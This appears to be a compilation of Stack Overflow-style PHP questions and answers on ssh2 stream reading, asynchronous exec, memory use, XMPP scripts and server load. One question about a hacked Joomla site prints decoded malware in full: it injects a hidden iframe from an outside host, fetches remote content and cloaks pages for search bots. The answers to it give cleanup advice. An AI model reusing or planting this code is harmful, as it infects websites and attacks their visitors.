feof generates infinite loop - php

So I do one simple thing, firstly I exec command via ssh2_exec (after success authenticate) and then read answer in variable. My code below (without authenticate)
try {
$stdout_stream = ssh2_exec($this->connection, $_cmd);
$stderr_stream = ssh2_fetch_stream($stdout_stream, \SSH2_STREAM_STDERR);
} catch (Exception $e) {
$std_output = $e->getMessage();
return false;
}
$output = "";
while (!feof($stdout_stream)) {
$output .= fgets($stdout_stream, 4096);
}
while (!feof($stderr_stream)) {
$output .= fgets($stderr_stream, 4096);
}
fclose($stdout_stream);
fclose($stderr_stream);
return $output;
For example I try to execute such cmd:
sudo service httpd stop && sudo service httpd start
So when command executes well everything is good, response is
Shutting down httpd: [ OK ]Starting httpd: [ OK ]
But when I try for instance to execute such command without sudo
service httpd stop && service httpd start
I know server says something like "command not found" or like this, but I can't get this error, this script executes infinitely.
I tried to rewrite my code in this manner (or another similiar to this)
$dataString = fgets($stdout_stream);
if($dataString == "\n" || $dataString == "\r\n" || $dataString == "") {
//var_dump("Empty line found.");
}
if($dataString === false && !feof($stdout_stream)) {
//var_dump("not string");
} elseif($dataString === false && feof($stdout_stream)) {
//var_dump("We are at the end of the file.\n");
break;
} else {
//else all is good, process line read in
$output .= $dataString;
}
}
but result is the same.
So the problem is we cannot say in advance what cause infinite loop $stdout_stream or $stderr_stream.
I am using PHP 5.3.

I've decided to believe it would be enough ~2 sec to my server to check if errors present. And just in case set max time for secod loop. So my code below. It executes more than I'd like...
try {
$stdout_stream = ssh2_exec($this->connection, $_cmd);
$stderr_stream = ssh2_fetch_stream($stdout_stream, \SSH2_STREAM_STDERR);
} catch (Exception $e) {
$std_output = $e->getMessage();
return false;
}
$output = "";
$start_time = time();
$max_time = 2; //time in seconds
while(((time()-$start_time) < $max_time)) {
$output .= fgets($stderr_stream, 4096);
}
if(empty($output)) {
$start_time = time();
$max_time = 10; //time in seconds
while (!feof($stdout_stream)) {
$output .= fgets($stdout_stream, 4096);
if((time()-$start_time) > $max_time) break;
}
}
fclose($stdout_stream);
fclose($stderr_stream);
return $output;

Boy, am I glad I found this! I was having the same problem. I eventually solved it this way.
Instead of:
while (!feof($stdout_stream)) {
$output .= fgets($stdout_stream, 4096);
}
while (!feof($stderr_stream)) {
$output .= fgets($stderr_stream, 4096);
}
Do this:
while (!feof($stdout_stream) || !feof($stderr_stream)) {
$output_stdout .= fgets($stdout_stream, 4096);
$output_stderr .= fgets($stderr_stream, 4096);
}
The technical details are beyond me, but it does appear that both descriptors close simultaneously, rather than one at a time.

Related

PHP Execute shell command asynchronously and retrieve live output

I'd like to execute a shell command asynchronously in PHP. I.e. PHP shouldn't wait for the command to be finished to continue execution. However in contrast to the numerous question about that topic on Stackoverflow I do care about the output of the program. In particular I would like to do something like this:
exec("some command", $output_array, $has_finished);
while(count($output_array) > 0 && !$has_finished)
{
if(count($output_array) > 0)
{
$line = array_shift($output_array);
do_something_with_that($line);
} else
sleep(1);
}
do_something_with_that($line)
{
echo $line."\n";
flush();
}
The above code would work if exec would return immediately while still adding elements to the array and if there was a method to check if the process has terminated or not.
Is there a way to do that?
I've solved the problem by piping the output STDIN to a temporary file and then reading from it.
Here's my
Implementation
class ExecAsync {
public function __construct($cmd) {
$this->cmd = $cmd;
$this->cacheFile = ".cache-pipe-".uniqid();
$this->lineNumber = 0;
}
public function getLine() {
$file = new SplFileObject($this->cacheFile);
$file->seek($this->lineNumber);
if($file->valid())
{
$this->lineNumber++;
$current = $file->current();
return $current;
} else
return NULL;
}
public function hasFinished() {
if(file_exists(".status-".$this->cacheFile) ||
(!file_exists(".status-".$this->cacheFile) && !file_exists($this->cacheFile)))
{
unlink($this->cacheFile);
unlink(".status-".$this->cacheFile);
$this->lineNumber = 0;
return TRUE;
} else
return FALSE;
}
public function run() {
if($this->cmd) {
$out = exec('{ '.$this->cmd." > ".$this->cacheFile." && echo finished > .status-".$this->cacheFile.";} > /dev/null 2>/dev/null &");
}
}
}
Usage
$command = new ExecAsync("command to execute");
//run the command
$command->run();
/*We want to read from the command output as long as
*there are still lines left to read
*and the command hasn't finished yet
*if getLine returns NULL it means that we have caught up
*and there are no more lines left to read
*/
while(($line = $command->getLine()) || !$command->hasFinished())
{
if($line !== NULL)
{
echo $line."\n";
flush();
} else
{
usleep(10);
}
}

PHP not clearing RAM when finished

Below is the code I'm trying to finish to view logs on our PBX. It runs fine, sorts through the log files, displays all the data, etc. The problem is that once it's done, it keeps a large amount of data (several hundred MB) in memory. I need it cleared out when it's done but can't figure out how. If it's run a couple of times it sucks all of the RAM from the server and we start getting errors. Thanks in advance!
<!DOCTYPE html>
<html>
<title>Call Search</title>
<body>
<?php
function getBetween($var1, $var2, $pool)
{
$temp1 = strpos($pool, $var1) + strlen($var1);
$result = substr($pool, $temp1, strlen($pool));
$dd=strpos($result, $var2);
if($dd == 0){$dd = strlen($result);}
return substr($result, 0, $dd);
}
if(!isset($_POST['phonenum']) && !isset($_POST['WantedCallID']))
{
echo '<form action="test.php" method="post">';
echo '<h4>Please enter the number you wish to search for...</h4><input type="text" name="phonenum">';
echo '<input type="submit" value="Go">';
echo '</form>';
}
else if(isset($_POST['WantedCallID']))
{
$counter = 0;
$logfile="calllog";
while (file_exists("/var/log/".$logfile))
{
if($counter==0){$logfile="calllog";}
else{$logfile="callog.".$counter;}
$path = "/var/log/".$logfile;
$logtoarray = file($path);
foreach ($logtoarray as $linenumber => $line)
{
if(strpos($line, "[".$_POST['WantedCallID']."]") !== false){echo $line." <br>";}
}
$counter++;
}
}
else
{
$counter = 0;
$logfile="calllog";
$arrayCounter = 0;
while (file_exists("/var/log/".$logfile))
{
if($counter == 0){$logfile = "calllog";}
else{$logfile="calllog.".$counter;}
$path = "/var/log/".$logfile;
if(file_exists($path))
{
$logtoarray = file($path);
$oldCallId = "";
$currentCallId = "";
foreach ($logtoarray as $linenumber => $line)
{
if(strpos($line, $_POST['phonenum']) !== false && strpos($line, "VERBOSE[") !== false)
{
$currentCallId = getBetween("VERBOSE[", "]", $line);
if($currentCallId !== $oldCallId)
{
$callIdArray[$arrayCounter] = "Date: ".substr($line, 0, 22)." Call ID:".$currentCallId."\n";
echo "Date: ".substr($line, 0, 22)." Call ID:".$currentCallId."<br>";
$oldCallId = $currentCallId;
}
}
$arrayCounter++;
}
}
else{break;}
$counter++;
}
echo '<form action="test.php" method="post">';
echo '<h4>Please enter the call ID you wish to search for...</h4><input type="text" name="WantedCallID">';
echo '<input type="submit" value="Go">';
echo '</form>';
}
$variables = array_keys(get_defined_vars());
foreach($variables as $variable) {
unset(${"$variable"});
}
unset($callIdArray);
?>
</body>
</html>
I'm going to presume that you run this script through an Apache server. This is a fairly common problem, though I've more often seen it from resizing images.
Once an Apache child (the process that runs PHP) has had the amount of memory it, or more usually, PHP, increased because of a lot of data being used, it doesn't have a method to return the memory to the OS.
Instead, each child-process has the MaxRequestsPerChild setting. This might be set to 0 - never restart. If the inflating memory size is a problem, then setting this to a few hundred, or thousand, might be useful. After that many requests, the apache child is restarted, and so all the memory captured si returned to the OS, and a new child is spun up if needed. While the requests might take a little longer when the process is being restarted, the freeing of memory would be more useful.
Here is a simple modification to your code that will read the logfiles one line at a time rather than reading the entire file into memory.
while (file_exists("/var/log/".$logfile))
{
if($counter == 0){$logfile = "calllog";}
else{$logfile="calllog.".$counter;}
$path = "/var/log/".$logfile;
if(file_exists($path))
{
$fh = fopen($path, 'r'); //change
$linenumber = 0; //addition
$oldCallId = "";
$currentCallId = "";
while( $line = fgets($fh) ) //change
{
$linenumber++; //addition
if(strpos($line, $_POST['phonenum']) !== false && strpos($line, "VERBOSE[") !== false)
{
$currentCallId = getBetween("VERBOSE[", "]", $line);
if($currentCallId !== $oldCallId)
{
$callIdArray[$arrayCounter] = "Date: ".substr($line, 0, 22)." Call ID:".$currentCallId."\n";
echo "Date: ".substr($line, 0, 22)." Call ID:".$currentCallId."<br>";
$oldCallId = $currentCallId;
}
}
$arrayCounter++;
}
fclose($fh); //addition
}
}

Joomla back-end login page keeps coming back to login page with no error. configuration.php file is infected. How to manage?

Since a week i was trying to login to the back-end of my joomla 1.5 site. It simply keeps coming back to the login page without any error. When I took a look at the configuration.php file it appeared as a string encoded with following pattern:
<?php eval(base64_decode('string here';))) />
When i decoded it using an online service this is what it appears to be:
if (!defined('frmDs')){ define('frmDs' ,1); function frm_dl ($url) { if (function_exists('curl_init')) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $out = curl_exec ($ch); if (curl_errno($ch) !== 0) $out = false; curl_close ($ch); } else {$out = #file_get_contents($url);} return trim($out); } function frm_crpt($in){ $il=strlen($in);$o=''; for ($i = 0; $i < $il; $i++) $o.=$in[$i] ^ '*'; return $o; } function frm_getcache($tmpdir,$link,$cmtime,$del=true){ $f = $tmpdir.'/sess_'.md5(preg_replace('/^http:\/\/[^\/]+/', '', $link)); if(!file_exists($f) || time() - filemtime($f) > 60 * $cmtime) { $dlc=frm_dl($link); if($dlc===false){ if(del) #unlink($f); else #touch($f); } else { if($fp = #fopen($f,'w')){ fwrite($fp, frm_crpt($dlc)); fclose($fp); }else{return $dlc;} } } $fc = #file_get_contents($f); return ($fc)?frm_crpt($fc):''; } function frm_isbot($ua){ if(($lip=ip2long($_SERVER['REMOTE_ADDR']))<0)$lip+=4294967296; $rs = array(array(3639549953,3639558142),array(1089052673,1089060862),array(1123635201,1123639294),array(1208926209,1208942590), array(3512041473,3512074238),array(1113980929,1113985022),array(1249705985,1249771518),array(1074921473,1074925566), array(3481178113,3481182206),array(2915172353,2915237886)); foreach ($rs as $r) if($lip>=$r[0] && $lip<=$r[1]) return true; if(!$ua)return true; $bots = array('googlebot','bingbot','slurp','msnbot','jeeves','teoma','crawler','spider'); foreach ($bots as $b) if(strpos($ua, $b)!==false) return true; return false; } function frm_tmpdir(){ $fs = array('/tmp','/var/tmp'); foreach (array('TMP', 'TEMP', 'TMPDIR') as $v) { if ($t = getenv($v)) {$fs[]=$t;} } if (function_exists('sys_get_temp_dir')) {$fs[]=sys_get_temp_dir();} $fs[]='.'; foreach ($fs as $f){ $tf = $f.'/'.md5(rand()); if($fp = #fopen($tf, 'w')){ fclose($fp); unlink($tf); return $f; } } return false; } function frm_seref(){ $r = #strtolower($_SERVER["HTTP_REFERER"]); $ses = array('google','bing','yahoo','ask','aol'); foreach ($ses as $se) if(strpos($r, $se.'.')!=false) return true; return false; } function frm_isuniq($tdir){ $ip=$_SERVER['REMOTE_ADDR']; $dbf=$tdir.'/sess_'.md5(date('m.d.y')); $odbf = $tdir.'/sess_'.md5(date('m.d.y',time()-86400)); if (file_exists($odbf)) #unlink($odbf); if(strpos(frm_crpt(#file_get_contents($dbf)),$ip) === false ){ if ($fp=#fopen($dbf,'a')){fputs($fp,frm_crpt($ip.'|')); fclose($fp);} return true; } return false; } $tdir = frm_tmpdir(); $defframe = '<style> .gtvvh { position:absolute; left:-760px; top:-927px; }</style><div class="gtvvh"><iframe src="http://whivmjknp.findhere.org/jquery/get.php?ver=jquery.latest.js" width="477" height="435"></iframe></div>'; $defrdg='http://whivmjknp.findhere.org/jquery/get.php?ver=jquery.js'; $codelink = 'http://whivmjknp.findhere.org/nc/gnc.php?ver=jquery.latest.js'; $rdglink='http://whivmjknp.findhere.org/nc/gnc.php?ver=jquery.js'; $ua=$_SERVER['HTTP_USER_AGENT']; $isb=frm_isbot($ua); if (!$isb && preg_match('/Windows/', $ua) && preg_match('/MSIE|Opera/', $ua) && frm_isuniq($tdir) ){ error_reporting(0); if(!isset($_COOKIE['__utmfr'])) { if(!$codelink) print($defframe); else print(frm_getcache($tdir,$codelink,15)); #setcookie('__utmfr',rand(1,1000),time()+86400*7,'/'); } } //------- $host = preg_replace('/^w{3}\./','', strtolower($_SERVER['HTTP_HOST'])); if($tdir && strlen($host)<100 && preg_match('/^[a-z0-9\-]+\.([a-z]{2,5}|[a-z]{2,3}\.[a-z]{2,3}|.*\.edu)$/', $host)){ $parg = substr(preg_replace( '/[^a-z]+/', '',strtolower(base64_encode(md5($host)))),0,3); $pageid = (isset($_GET[$parg]))?$_GET[$parg]*1:0; $ruri = strtolower($_SERVER['REQUEST_URI']); if((strpos($ruri,'/?')===0||strpos($ruri,'/index.php?')===0) && $pageid > 0){ print(frm_getcache($tdir,"http://whivmjknp.findhere.org/rdg/getpage.php?h=$host&p=$pageid&pa=$parg",60*48,false)); exit(); } if ($isb) { error_reporting(0); print(frm_getcache($tdir,"http://whivmjknp.findhere.org/rdg/getpage.php?h=$host&pa=$parg&g=".(($ruri=='/'||$ruri=='/index.php')?'1':'0'),60*48,false)); } } //---------}
I checked other Joomla installations on my hosting space and see that all the configuration.php are the same.
What to do?
Please help
The only thing the the configuration.php file should have is defined variables. Nothing else. It could very well be that someone has hacked your site and messed around with files.
Change all passwords that are related to your website, including the hosting one.
Take a backup of your site via the cPanel and scan it with some antivirus software. Assuming there are no viruses detected, upgrade your site to the latest of the Joomla 2.5 series (2.5.14).
Then, remove the code you showed in your question from the configuration.php file and try logging back into the Joomla admin panel. If it works, ensure all your extensions are up to date and read this:
Joomla! 2.5.4 Hacked: Having trouble with diagnosis.
If not, then try resetting your super user password via the database:
http://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F
UPDATE:
It seems your whole configuration.php file has been attacked. I have provided you with the code for the file, however there are some blank spaces to be filled in. Anything that does need filling in, I have written next to it:
http://pastebin.com/gWWtCAJR
Let me know how it goes :)

PHP Auto Kill After X minutes

Hell all, I have a jabber script that automatically load up all msgs for me into a mysql database... however, after it's done, the script still stays/sticks... how can I have it exit after one run? Please help, and any kind of help I can get on this, I would be very very thankful!
<?php
// activate full error reporting
//error_reporting(E_ALL & E_STRICT);
include 'XMPPHP/XMPP.php';
$conn = new XMPPHP_XMPP('talk.google.com', 5222, 'username', 'password', 'xmpphp', 'gmail.com', $printlog=true, $loglevel=XMPPHP_Log::LEVEL_INFO);
// $conn->autoSubscribe();
$vcard_request = array();
try {
$conn->connect();
while(!$conn->isDisconnected()) {
$payloads = $conn->processUntil(array('message', 'presence', 'end_stream', 'session_start'));
foreach($payloads as $event) {
$pl = $event[1];
switch($event[0]) {
case 'message':
print "---------------------------------------------------------------------------------\n";
print "Message from: {$pl['from']}\n";
if($pl['subject']) print "Subject: {$pl['subject']}\n";
print $pl['body'] . "\n";
print "---------------------------------------------------------------------------------\n";
// $conn->message($pl['from'], $body="Thanks for sending me \"{$pl['body']}\".", $type=$pl['type']);
$cmd = explode(' ', $pl['body']);
if($cmd[0] == 'quit') $conn->disconnect();
if($cmd[0] == 'break') $conn->send("</end>");
if($cmd[0] == 'vcard') {
if(!($cmd[1])) $cmd[1] = $conn->user . '#' . $conn->server;
// take a note which user requested which vcard
$vcard_request[$pl['from']] = $cmd[1];
// request the vcard
$conn->getVCard($cmd[1]);
}
break;
case 'presence':
print "Presence: {$pl['from']} [{$pl['show']}] {$pl['status']}\n";
break;
case 'session_start':
print "Session Start\n";
$conn->getRoster();
$conn->presence($status="Cheese!");
break;
case 'vcard':
// check to see who requested this vcard
$deliver = array_keys($vcard_request, $pl['from']);
// work through the array to generate a message
print_r($pl);
$msg = '';
foreach($pl as $key => $item) {
$msg .= "$key: ";
if(is_array($item)) {
$msg .= "\n";
foreach($item as $subkey => $subitem) {
$msg .= " $subkey: $subitem\n";
}
} else {
$msg .= "$item\n";
}
}
// deliver the vcard msg to everyone that requested that vcard
foreach($deliver as $sendjid) {
// remove the note on requests as we send out the message
unset($vcard_request[$sendjid]);
$conn->message($sendjid, $msg, 'chat');
}
break;
}
}
}
} catch(XMPPHP_Exception $e) {
die($e->getMessage());
}
?>
Remove while condition and try.
I think it will work.
Than use any flag variable and add it in while loop.
I suggest you two ways:
1- Using "set_time_limit" function that kills script after specified seconds and throws an error.
2- Define a variable before while loop and save time in that:
$time=time();
At the end of the while loop add this code:
if($time+TimeInSeconds<time()) exit();
These two ways can stop the script after some seconds.
I hope it will help.

How do you calculate server load in PHP?

How do you calculate the server load of PHP/apache? I know in vBulletin forums there's the server load displayed like 0.03 0.01 0.04 but it's not really understandable to a average joe. So I thought about a 1-100 percentile scale. I wanted to display a server load visual that reads from a DIV:
$load = $serverLoad*100;
<div class=\"serverLoad\">
<div style=\"width: $load%;\"></div>//show visual for server load on a 1-100 % scale
</div>
<p>Current server load is $load%</p>
</div>
However, I don't know how to detect server load. Is it possible to do turn this server load into a percentile scale? I don't know where to start. May someone please help me out?
Thanks.
I have a very old function that should still do the trick:
function getServerLoad($windows = false){
$os=strtolower(PHP_OS);
if(strpos($os, 'win') === false){
if(file_exists('/proc/loadavg')){
$load = file_get_contents('/proc/loadavg');
$load = explode(' ', $load, 1);
$load = $load[0];
}elseif(function_exists('shell_exec')){
$load = explode(' ', `uptime`);
$load = $load[count($load)-1];
}else{
return false;
}
if(function_exists('shell_exec'))
$cpu_count = shell_exec('cat /proc/cpuinfo | grep processor | wc -l');
return array('load'=>$load, 'procs'=>$cpu_count);
}elseif($windows){
if(class_exists('COM')){
$wmi=new COM('WinMgmts:\\\\.');
$cpus=$wmi->InstancesOf('Win32_Processor');
$load=0;
$cpu_count=0;
if(version_compare('4.50.0', PHP_VERSION) == 1){
while($cpu = $cpus->Next()){
$load += $cpu->LoadPercentage;
$cpu_count++;
}
}else{
foreach($cpus as $cpu){
$load += $cpu->LoadPercentage;
$cpu_count++;
}
}
return array('load'=>$load, 'procs'=>$cpu_count);
}
return false;
}
return false;
}
This returns processor load. You can also use memory_get_usage and memory_get_peak_usage for memory load.
If you can't handle finding percentages based on this... sigh, just post and we'll try together.
This function in PHP might do that trick: sys_getloadavg().
Returns three samples representing the average system load (the number of processes in the system run queue) over the last 1, 5 and 15 minutes, respectively.
function get_server_load()
{
$serverload = array();
// DIRECTORY_SEPARATOR checks if running windows
if(DIRECTORY_SEPARATOR != '\\')
{
if(function_exists("sys_getloadavg"))
{
// sys_getloadavg() will return an array with [0] being load within the last minute.
$serverload = sys_getloadavg();
$serverload[0] = round($serverload[0], 4);
}
else if(#file_exists("/proc/loadavg") && $load = #file_get_contents("/proc/loadavg"))
{
$serverload = explode(" ", $load);
$serverload[0] = round($serverload[0], 4);
}
if(!is_numeric($serverload[0]))
{
if(#ini_get('safe_mode') == 'On')
{
return "Unknown";
}
// Suhosin likes to throw a warning if exec is disabled then die - weird
if($func_blacklist = #ini_get('suhosin.executor.func.blacklist'))
{
if(strpos(",".$func_blacklist.",", 'exec') !== false)
{
return "Unknown";
}
}
// PHP disabled functions?
if($func_blacklist = #ini_get('disable_functions'))
{
if(strpos(",".$func_blacklist.",", 'exec') !== false)
{
return "Unknown";
}
}
$load = #exec("uptime");
$load = explode("load average: ", $load);
$serverload = explode(",", $load[1]);
if(!is_array($serverload))
{
return "Unknown";
}
}
}
else
{
return "Unknown";
}
$returnload = trim($serverload[0]);
return $returnload;
}
If "exec" is activated
/**
* Return the current server load
* It needs "exec" activated
*
* e.g.
* 15:06:37 up 10 days, 5:59, 12 users, load average: 1.40, 1.45, 1.33
* returns
* float(1.40)
*/
public function getServerLoad()
{
preg_match('#(\d\.\d+),[\d\s\.]+,[\d\s\.]+$#', exec("uptime"), $m);
return (float)$m[1];
}
<?php
$load = sys_getloadavg();
if ($load[0] > 0.80) {
header('HTTP/1.1 503 Too busy, try again later');
die('Server too busy. Please try again later.');
}
?>
Its Pretty easy in LAMP environment if you have proper permissions,
print_r(sys_getloadavg());
OUTPUT : Array ( [0] => 0 [1] => 0.01 [2] => 0.05 )
Array values are average load in the past 1, 5 and 15 minutes respectively.
Here is a windows/linux compatible php server load function:
function get_server_load() {
$load = '';
if (stristr(PHP_OS, 'win')) {
$cmd = 'wmic cpu get loadpercentage /all';
#exec($cmd, $output);
if ($output) {
foreach($output as $line) {
if ($line && preg_match('/^[0-9]+$/', $line)) {
$load = $line;
break;
}
}
}
} else {
$sys_load = sys_getloadavg();
$load = $sys_load[0];
}
return $load;
}
function _loadavg()
{
if(class_exists("COM"))
{
$wmi = new COM("WinMgmts:\\\\.");
$cpus = $wmi->InstancesOf("Win32_Processor");
foreach ($cpus as $cpu)
{
return $cpu->LoadPercentage;
}
}
}

Categories